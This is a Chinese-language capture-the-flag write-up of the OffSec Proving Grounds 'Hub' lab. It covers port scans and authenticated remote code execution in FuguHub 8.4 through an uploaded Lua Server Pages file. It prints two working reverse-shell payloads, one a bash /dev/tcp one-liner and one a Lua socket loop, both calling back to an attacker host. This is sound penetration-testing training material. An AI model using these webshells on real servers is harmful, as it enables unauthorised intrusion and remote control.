OSCP Hub Write-up

本文最后更新于 2026年3月12日下午

一、靶场详情

靶场名称：

Hub

靶场地址：

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界、管理员旗帜获取：

FuguHub 后台初始化（设置密码） –> 后台 RCE 漏洞 –> root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描：

sudo nmap -p- 192.168.230.25 --min-rate=2000

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8082/tcp open  blackice-alerts
9999/tcp open  abyss

UDP 端口扫描：未发现有价值信息。

TCP 服务信息搜集：

sudo nmap -p22,80,8082,9999 -sCV 192.168.230.25

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp   open  http     nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: 403 Forbidden
8082/tcp open  http     Barracuda Embedded Web Server
|_http-title: Home
| http-webdav-scan:
|   WebDAV type: Unknown
|   Server Date: Sun, 24 Aug 2025 10:37:46 GMT
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, PATCH, POST, PUT, COPY, DELETE, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK
|_  Server Type: BarracudaServer.com (Posix)
|_http-server-header: BarracudaServer.com (Posix)
| http-methods:
|_  Potentially risky methods: PROPFIND PATCH PUT COPY DELETE MOVE MKCOL PROPPATCH LOCK UNLOCK
9999/tcp open  ssl/http Barracuda Embedded Web Server
|_http-title: Home
|_http-server-header: BarracudaServer.com (Posix)
| http-webdav-scan:
|   WebDAV type: Unknown
|   Server Date: Sun, 24 Aug 2025 10:37:45 GMT
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, PATCH, POST, PUT, COPY, DELETE, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK
|_  Server Type: BarracudaServer.com (Posix)
| http-methods:
|_  Potentially risky methods: PROPFIND PATCH PUT COPY DELETE MOVE MKCOL PROPPATCH LOCK UNLOCK
| ssl-cert: Subject: commonName=FuguHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:FuguHub, DNS:FuguHub.local, DNS:localhost
| Not valid before: 2019-07-16T19:15:09
|_Not valid after:  2074-04-18T19:15:09
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境，开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界

3.2.1 FuguHub 后台 RCE 漏洞

依次访问系统 HTTP 80、8082、9999 端口，只有 8082 端口可正常访问，且该端口部署了 FuguHub 应用，首次访问该系统要求初始化管理员密码。

创建管理员密码，并检索应用漏洞，发现后台历史存在远程代码执行漏洞，通过 about 页面得知应用版本为 8.4，该漏洞实际是通过后台为上传包含 webshell 的 lsp 文件，其中 fuguhub 8.1 和 8.4 的 payload 都可反弹 shell。

漏洞参考链接：

1 2	`https://github.com/ojan2021/Fuguhub-8.1-RCE/blob/main/Fuguhub-8-1-RCE-Report.pdf https://github.com/SanjinDedic/FuguHub-8.4-Authenticated-RCE-CVE-2024-27697`

8.1 RCE payload

8.4 RCE payload

8.1 版本 payload：

<div style="margin-left: auto; margin-right: auto; width: 350px;">
<div id="info">
<h2>Lua Server Pages Reverse Shell</h2>
<p>haha</p>
</div>

<?lsp if request:method() == "GET" then ?>
<?lsp os.execute("bash -c 'bash -i >& /dev/tcp/192.168.45.155/4444 0>&1'") ?>
<?lsp else ?>
You sent a <?lsp=request:method() ?> request
<?lsp end ?>
</div>

8.4 版本 payload：

<?lsp if request:method() == "GET" then ?>
    <?lsp
        local host, port = "192.168.45.155", 4444
        local socket = require("socket")
        local tcp = socket.tcp()
        local io = require("io")
        local connection, err = tcp:connect(host, port)

        if not connection then
            print("Error connecting: " .. err)
            return
        end

        while true do
            local cmd, status, partial = tcp:receive()
            if status == "closed" or status == "timeout" then break end
            if cmd then
                local f = io.popen(cmd, "r")
                local s = f:read("*a")
                f:close()
                tcp:send(s)
            end
        end

        tcp:close()
    ?>
<?lsp else ?>
    Wrong request method, goodBye!
<?lsp end ?>